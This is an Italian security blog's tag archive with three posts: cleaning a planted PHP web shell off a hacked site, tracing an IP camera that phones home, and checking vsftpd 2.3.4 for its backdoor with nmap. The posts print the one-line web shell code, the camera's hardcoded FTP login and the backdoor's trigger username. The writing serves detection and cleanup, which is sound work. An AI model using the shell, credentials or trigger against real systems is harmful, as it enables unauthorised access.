Archivi tag: backdoor

Ancora un sito violato

Sicurezza, , , , , ,

Recentemente ho dovuto fare un po’ di manutenzione ad uno dei siti che gestisco. Per la precisione, era necessario aggiornare i meta tag delle pagine HTML, in modo da ottenere un ranking più elevato nei motori di ricerca (SEO).

backdoor.jpg

Dopo essere atterrato sullo spazio FTP riservato al suddetto sito, ho notato la presenza di una pagina recante un nome a dir poco sospetto:

xxx.php

il cui contenuto era semplice ma abbastanza esplicativo:

GIF89a
<?php system("$_GET[cmd]"); exit; ?>

In pratica la funzione system di php consente di richiamare dei comandi di sistema semplicemente mediante POST o, ancora più banalmente, mediante GET.

Per intenderci, utilizzando una URL forgiata nel seguente modo:

http://www.sito.com?ls

sarebbe stato possibile per l’attaccante listare il contenuto delle directory, oppure, mediante:

http://www.sito.com?ping%20indirizzoip

avrebbe potuto lanciare un ping verso una macchina specifica (il %20 è semplicemente lo spazio in URL encoding).

Ovviamente, i comandi a disposizione dell’attaccante sono tutti quelli usufruibili mediante la funzione system (e non soltato quelli da me riportati a titolo di esempio). Dunque la pagina in oggetto può essere intesa come una sorta di backdoor.

Fortunatamente, l’hosting provider ha pensato bene di disabilitare la suddetta funzione a livello di php.ini, editando il paramentro disable_functions:

Warning: system() has been disabled for security reasons in /web/htdocs/www.sito.com/home/xxx.php on line 2

Infine, ho brasato la pagina xxx.php ed ho modificato le credenziali di accesso allo spazio FTP.

E’ tutto.

PS: ogni tanto fare un ls della root dir del sito non sarebbe male, tanto per stare tranquilli.

WI-FI IP camera made in China: ennesima stranezza

Sicurezza, , , , , , ,

Ok, avete ragione, sono un maledettissimo freak control. Però non è colpa mia se questo aggeggio continua a comportarsi in modo strano. Infatti, oltre a questa anomalia, ho notato che ogni tanto prova a contattare l’ennesimo server cinese, questa volta un nameserver (almeno sulla carta).

Inoltre, molto probabilmente quel nameserver (sempre se di nameserver si tratta) è di proprietà del costruttore di questi aggeggi, tant’è che un semplice whois mi ha rivelato le seguenti informazioni:

nightfly@nightbox:~$ whois 211.154.141.240
% [whois.apnic.net node-1]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

inetnum:        211.154.128.0 - 211.154.159.255
netname:        ChinaMotion
country:        CN
descr:          China Motion Network Communication
descr:          9F,Yu Hua Industrial & Trading Building,Bao Gang Rd.
descr:          Luo Hu District,Shenzhen, Guangdong Province
admin-c:        BY158-AP
tech-c:         BY158-AP
status:         ALLOCATED PORTABLE
mnt-by:         MAINT-CNNIC-AP
mnt-lower:      MAINT-CNNIC-AP
mnt-irt:        IRT-CNNIC-CN
mnt-routes:     MAINT-CNCGROUP-RR
changed:        hm-changed@apnic.net 20060523
source:         APNIC

person:         Binghua Yang
nic-hdl:        BY158-AP
e-mail:         idc-service@hotmail.com
address:        9F,Yu Hua Industrial & Trading Building,Bao Gang Rd.Luo
address:        Hu District,Shenzhen
phone:          +86-0755-82189782
fax-no:         +86-755-82189789
country:        CN
changed:        shenzhi@cnnic.cn 20041126
changed:        ipas@cnnic.net.cn 20070514
mnt-by:         MAINT-CN-CMNET
source:         APNIC

Ma bando alle ciance, ecco cosa succede sniffando un pò di pacchetti con tcpdump:

18:13:28.222925 IP 10.1.x.x.3072 > 8.8.8.8.53: 125+ A? dns.camcctv.com. (33)
        0x0000:  4500 003d 62c7 4000 4011 bcd3 0a01 0105  E..=b.@.@.......
        0x0010:  0808 0808 0c00 0035 0029 af81 007d 0100  .......5.)...}..
        0x0020:  0001 0000 0000 0000 0364 6e73 0763 616d  .........dns.cam
        0x0030:  6363 7476 0363 6f6d 0000 0100 01         cctv.com.....
18:13:28.288413 IP 8.8.8.8.53 > 10.1.x.x.3072: 125 1/0/0 A[|domain]
        0x0000:  4500 004d a392 0000 2f11 ccf8 0808 0808  E..M..../.......
        0x0010:  0a01 0105 0035 0c00 0039 28b5 007d 8180  .....5...9(..}..
        0x0020:  0001 0001 0000 0000 0364 6e73 0763 616d  .........dns.cam
        0x0030:  6363 7476 0363 6f6d 0000 0100 01c0 0c00  cctv.com........
        0x0040:  0100 0100 0009 6800 04d3 9a8d            ......h.....
18:13:28.325038 IP 10.1.x.x.3072 > 211.154.141.240.2011: UDP, length 84
        0x0000:  4500 0070 0000 4000 4011 cdec 0a01 0105  E..p..@.@.......
        0x0010:  d39a 8df0 0c00 07db 005c e3b5 4d4f 5f48  ...........MO_H
        0x0020:  0000 0000 3738 2d41 352d 4444 2d30 342d  ....78-A5-DD-04-
        0x0030:  4138 2d33 4500 0000 3130 2e31 2e31 2e35  A8-3E...10.1.x.x
        0x0040:  0000 0000 0000 0000 0000 0000            ............

Che significa tutto ciò? Brevemente: dapprima manda una query DNS di tipo A al suo nameserver primario (8.8.8.8), richiedendo l’IP associato all’hostname dns.camcctv.com:

18:13:28.222925 IP 10.1.x.x.3072 > 8.8.8.8.53: 125+ A? dns.camcctv.com

La risposta alla suddetta query è la seguente:

18:13:28.288413 IP 8.8.8.8.53 > 10.1.x.x.3072: 125 1/0/0 A[|domain]

Una volta individuato l’indirizzo IP di dns.camcctv.com (ovvero 211.154.141.240) procede con l’invio, verso la porta UDP 2011, del proprio MAC address e del proprio indirizzo IP locale.

Facendo due più due il conto è presto fatto: con il dyndns abilitato di default, l’IP pubblico del network a cui la telecamera appartiene diventa di dominio pubblico (e soprattutto di dominio del costruttore). A questo aggiungeteci le info che manda a quel nameserver e praticamente, nel caso in cui ci fosse una qualche backdoor all’interno del codice dell’interfaccia Web di cui è dotata, il costruttore (o chi per lui) avrebbe la possibilità di accedere liberamente alla nostra IP camera. A questo aggiungeteci l’eventualità che tutto il traffico in ingresso su quella porta del nameserver potrebbe essere loggato, rilevando quindi l’indirizzo IP pubblico della rete a cui appartiene la telecamera.

Ora, poichè tale device ha un server FTP integrato, mi sono preso la briga di accedervi e di scaricare in locale tutte le pagine Web (.htm) che concorrono al funzionamento dell’interfaccia di gestione. Inutile dire che non ci ho trovato granchè, anche perchè tutte le modifiche alla configurazione vengono effettuate mediante delle chiamate AJAX a determinate pagine *.xml (che, naturalmente, non sono scaricabili).

Infatti, per capire cosa sia possibile fare tramite delle semplici chiamate alle suddette pagine, è sufficiente consultare questo documento:

IPCamera_AJAX (English Translation) – GadgetVictimsCom.pdf

Per completezza, se volete provare ad accedere al suddetto server FTP (della vostra telecamera, non di certo della mia) è necessario:

1) utilizzare un client ben preciso, ovvero CuteFTP (con tutti gli altri, client FTP Linux da CLI, client FTP Windows da CLI, FireFTP, eccetera, il demone della telecamera crasha miseramente);

2) loggarsi con username MayGion e con password maygion.com (credenziali case sensitive e non modificabili – dove maygion è il produttore del firmware).

Come ho risolto? Di nuovo, regola Iptables del tipo:

iptables -A FORWARD -i eth1 -o eth0 -p udp -d 211.154.141.240 –dport 2011 -j DROP

Sto anche monitorando tutto il traffico diretto alla porta HTTP della telecamera, vediamo cosa ne verrà fuori.

Alla prossima.

Aggiornamento del 16/12/2012

A quanto pare l’hostname dns.camcctv.com è qualcosa di hard coded all’inteno dei sorgenti del firmware (a giudicare dal questo 3D). Inoltre, sembra che si tratti dell’ennesimo servizio di DDNS ma, non essendoci alcuna opzione che mi consenta di disabilitarlo via interfaccia Web, lo terrò comunque in DROP.

Verificare la presenza di una backdoor in vsftpd 2.3.4 su *buntu

Sicurezza, , , ,

Circa un mese fa è stata individuata una backdoor all’interno del sorgente di vsftpd, famoso demone FTP server.

vsftpd

  Questa backdoor consente l’accesso alla shell semplicemente digitando come username “X:)“, lasciando il campo password vuoto (maggiori dettagli sulla tarball compromessa li trovate qui). Avendo aggiornato vsftp alla versione 2.3.4 poco dopo il suo rilascio (orientativamente durante gli ultimi giorni di giugno), ho voluto verificare che il demone installato sui miei server non fosse infetto. Ho quindi cercato qualche tool che mi permettesse di effettuare tale controllo, trovando uno scrip per nmap che fa proprio al caso mio. Lo scrip in questione lo potete scaricare da qui. Una volta scaricato, modificatelo ed aggiungete una descripion, ad esempio:

descripion = "check vsftpd 2.3.4 backdoor vulnerability"

da inserire subito dopo categories. Ora assicuratevi che all’interno della directory /usr/share/nmap/nselib/ sia presente la libreria ftp.lua (in caso contrario potete scaricarla da qui). Infine, lanciate lo scrip seguendo la sintassi:

nmap --scrip ftp-vsftpd-backdoor -p 21 <host>

Se l’output di tale scrip sarà simile al seguente:

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-vsftpd-backdoor:
|   This installation has been backdoored (CVE-2011-2523): VULNERABLE
|     Shell command: id
|_    Results: uid=0(root) gid=0(root) groups=0(root)

dovrete correre ai ripari sostituendo la versione “bucata” di vsftpd con quella corretta.

A presto.

PS: ho avuto fortuna, in quanto nessuno dei demoni vsftpd presenti sui miei server conteneva backdoor.